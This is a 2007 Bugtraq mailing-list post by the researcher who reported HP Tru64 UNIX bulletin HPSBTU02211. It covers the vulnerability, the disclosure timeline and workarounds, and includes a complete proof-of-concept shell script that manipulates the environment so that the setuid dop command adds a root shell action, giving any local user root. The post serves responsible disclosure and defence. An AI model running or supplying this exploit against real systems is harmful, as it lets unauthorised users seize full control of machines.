Message-ID: <20070509193315.6e75b14f@localhost>
Date: Wed, 9 May 2007 19:33:15 +0200
From: Daniele Calore <orkaan@...aan.org>
To: bugtraq@...urityfocus.com
Subject: Re: [security bulletin] HPSBTU02211 SSRT071326 rev.1 - HP Tru64
 UNIX Running the dop command, Local Execution of Arbitrary Code with
 Privilege Elevation

Hi, Bugtraq

> ...
> HPSBTU02211 SSRT071326 rev.1 - HP Tru64 UNIX Running the dop command,
> Local Execution of Arbitrary Code with Privilege Elevation
> 
> Potential Security Impact: Local execution of arbitrary code with
> privilege elevation
> 
> Source: Hewlett-Packard Company, HP Software Security Response Team
> 
> VULNERABILITY SUMMARY
> A potential security vulnerability has been identified with the HP Tru64
> UNIX Operating System running the dop command. The vulnerability could be
> exploited by a local, authorized user to execute arbitrary code with the
> privileges of the root user. 
>
> ...
>
> SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
> The following supported software versions are affected: 
> 
> HP Tru64 UNIX v5.1B-4 
> HP Tru64 UNIX v5.1B-3 
> HP Tru64 UNIX v5.1A PK6 
> 
> BACKGROUND
> 
> The Hewlett-Packard Company thanks Daniele Calore for reporting this
> vulnerability to security-alert@...com.
> 
> ...
>

This is my personal analysis/work about the bug discovered.

---[ HP Tru64 DOP Local Privilege Escalation Vulnerability ]---
---[ SSRT071326 DOP PoC/Hack for HP Tru64 UNIX 5.X ]---


1. Description
2. PoC
3. Conclusions

Shell Commands and All shell output begins with a '#'.
This is a "short" version for bugtraq.


--[ 1. Description ]--

-  What is HP Tru64 UNIX:

http://en.wikipedia.org/wiki/Tru64_UNIX

-  What is DOP: (From manpage dop(8))

dop - Allows a user to  execute a privileged  program without knowing the
root password. The dop command also modifies the action database.
(It's something like the well know program sudo)

# tru64-sys> ls -l /usr/sbin/dop
# -rws--x--x   1 root     bin         95344 Apr 30  2005 /usr/sbin/dop

-  Vulnerability:

There is a vulnerability in how dop handle ENV,  that allow any local  user
to execute dopActions (see '/etc/doprc') without knowing the root password.

-  System Affected:

Tru64 5.1  (ALL) (Last PatchKit: T64v51B20AS0006-20030210  - PK6 - BL20)
Tru64 5.1A (ALL) (Last PatchKit: T64V51AB24AS0006-20031031 - PK6 - BL24)
Tru64 5.1B (ALL) (Last PatchKit: T64V51BB27AS0006-20061208 - PK6 - BL27)

-  System NOT Tested:
Tru64 5.0

-  System NOT Affected:
Tru64 4.0x (dop will require allways root password, also for user root)

-   Risk:
HIGH; any user can escalate privilege to root.

-  Disclosure Timeline (Vendor Response):

The following timeline outlines the responses from the vendor:

 2007-03-15 - Vendor contacted.
 2007-03-20 - Sent full details of the vulnerability identified.
 2007-04-04 - Vendor has generated  the patches for  the vulnerability and
              is doing a thorough code review and testing.
 2007-04-17 - Vendor released a patch without inform the author. (*)
 2007-04-26 - Vendor inform the author that the patch will be soon available
              and he is drafting the security bulletin...
 2007-05-08 - Vendor released a security bulletin
 2007-05-09 - This analysis is public available.

 (*) For a valid guideline for interaction between a researcher and software
 maintainer take a look to: "Full Disclosure Policy (RFPolicy) v2.0"
 http://www.wiretrip.net/rfp/policy.html

-  Patch:
You can obtain the patches in the ITRC section of the HP site.
You need registration to download patches.

http://www1.itrc.hp.com/service/cki/docDisplay.do?docLocale=en&docId=emr_na-c
01036871-1

If you do not have time to apply the patch to all your systems I suggest
you to use this little workaround:

 1- Set the kernel attribute exec_disable_arg_limit to '1'.
    (maybe there are also other BUGS like this one in different programs)

    # tru64-sys> whoami
    # root
    #
    # tru64-sys> /sbin/sysconfig -r proc exec_disable_arg_limit=1
    # exec_disable_arg_limit: reconfigured

    Update changes in '/etc/sysconfigtab' (in all cluster members)

 2- Consider to remove SUID BIT to '/usr/sbin/dop' if you don't use 'dop'
    (remember to apply SUID BIT again before patching the system)
    maybe there are also other bugs in dop binary...

 3- If you use dop, consider to use other software like the well know 'sudo'


--[ 2. PoC ]--

This is simple PoC (Proof of Concept)

---------------------8<---------------------8<---------------------
#!/bin/sh
#
# - Author/Credits:
#   Daniele Calore; orkaan <at> orkaan.org
#
# - Description:
#   HP Tru64 DOP Local Privilege Escalation Vulnerability
#
#   UNIX HP Tru64 5.X '/usr/sbin/dop' Local Vulnerability root escalation.
#   HP Security bulletin code identification: HPSBTU02211 SSRT071326
#   Bugtraq ID: 23881
#
# - Public Released:
#   2007-05-09
#
# - System Affected:
#   Tru64 5.1  (ALL) (Last PatchKit: T64v51B20AS0006-20030210  - PK6 - BL20)
#   Tru64 5.1A (ALL) (Last PatchKit: T64V51AB24AS0006-20031031 - PK6 - BL24)
#   Tru64 5.1B (ALL) (Last PatchKit: T64V51BB27AS0006-20061208 - PK6 - BL26)
#
# - System NOT Tested:
#   Tru64 5.0
#
# - System NOT Affected:
#   Tru64 4.0x (dop will allways require root password, also for user root)
#
# - More info:
#   http://www.orkaan.org/tru64/orkaan_-_exp_Tru64-5.X_SSRT071326.html
#

#
#####################
# Defines:

PATH="/sbin:/usr/sbin/:/bin:/usr/bin"
DOP="/usr/sbin/dop"

# Environment size target.
# Change this value if you have problems.
ENV_TRG=38629

# Sleep in seconds.
# Change this value (bigger) if you have problems.
SLEEP=10

#
#####################
# Credits:

echo "UNIX HP Tru64 5.X '/usr/sbin/dop' Local Vulnerability root escalation."
echo "HP Security bulletin code identification: HPSBTU02211 SSRT071326"
echo "Bugtraq ID: 23881"
echo "Author: Daniele Calore; orkaan <at> orkaan.org"
echo ""

#
#####################
# Checks:

# Check User.
MYUID=`id -u`
if [ ${MYUID} -eq 0 ]; then
	echo "Why execute this if you are allready root?"
	exit 1
fi

# Check dop binary.
test -u "${DOP}"
if [ $? -ne 0 ]; then
	echo "${DOP} binary is without set-user ID bit... Sorry!"
	exit 1
fi

# Check exec_disable_arg_limit.
ARG_LIMIT=`sysconfig -q proc exec_disable_arg_limit 2>/dev/null | tail -1 |\
	   cut -f3 -d" "`
if [ "Z${ARG_LIMIT}" != "Z0" ]; then
	echo "exec_disable_arg_limit is set to ${ARG_LIMIT:-none}... Sorry!"
	exit 1
fi

#
#####################
# DOPAction Attack:

echo "Ready:"

# Unset Display.
echo "1- Unset DISPLAY."
unset DISPLAY

# Make ENV big enough.
echo "2- Make ENV big enough."
ENV_SIZE=`env | wc -c | tr -cd '[[:digit:]]'`
ENV_SIZE=`expr ${ENV_TRG} - ${ENV_SIZE} - 3`
A=`perl -e "print 'A' x ${ENV_SIZE}`; export A
ENV_SIZE=`env | wc -c | tr -cd '[[:digit:]]'`
echo "   Actual ENV size is ${ENV_SIZE}; target is ${ENV_TRG};"

# Create dopAction.
echo "3- Create a dopAction 'shell'.
   Remember to delete it.
   As root do:
   /usr/sbin/sysman -cli -delete row -comp doprc -group dopActions -key1
   shell

   Remember:
   - The script will never end.
   - If it does not run change ENV_TRG...
   - It is normal to see a message like:
     Error occurred trying to update /etc/doprc:
     shell already exists in /etc/doprc
     (This mean that the BUG is present...)

   You have to wait ${SLEEP} seconds.
   After this amount of time you will see a: '#' (the root shell prompt).
"

# Fork it in Background.
dop /usr/sbin/sysman -cli -add row -comp doprc -group dopActions \
-data "shell SuperUsers {{/bin/sh *}}" &

# Run the new dopAction.
# Sleep some seconds (maybe you have to change this value).
sleep ${SLEEP}
echo ""
dop shell

exit 0
# EOF
---------------------8<---------------------8<---------------------


--[ 3. Conclusions ]--

If you like my work fell free to mail me your feedbacks.
My mail account is: orkaan <at> orkaan.org
(If you need my PGP/GPG public key mail me, I will send you back)

For a full analysis about the vulnerability discovered
(with all the tests and more comments) see:
http://www.orkaan.org/tru64/orkaan_-_exp_Tru64-5.X_SSRT071326.html

I would like to thanks all people that works for OpenSource projects
especially the GNU/Linux team.


--[ EOF ]--

That's all...

Bye,

-- 
Daniele Calore ( orkaan at orkaan.org )

Powered by blists - more mailing lists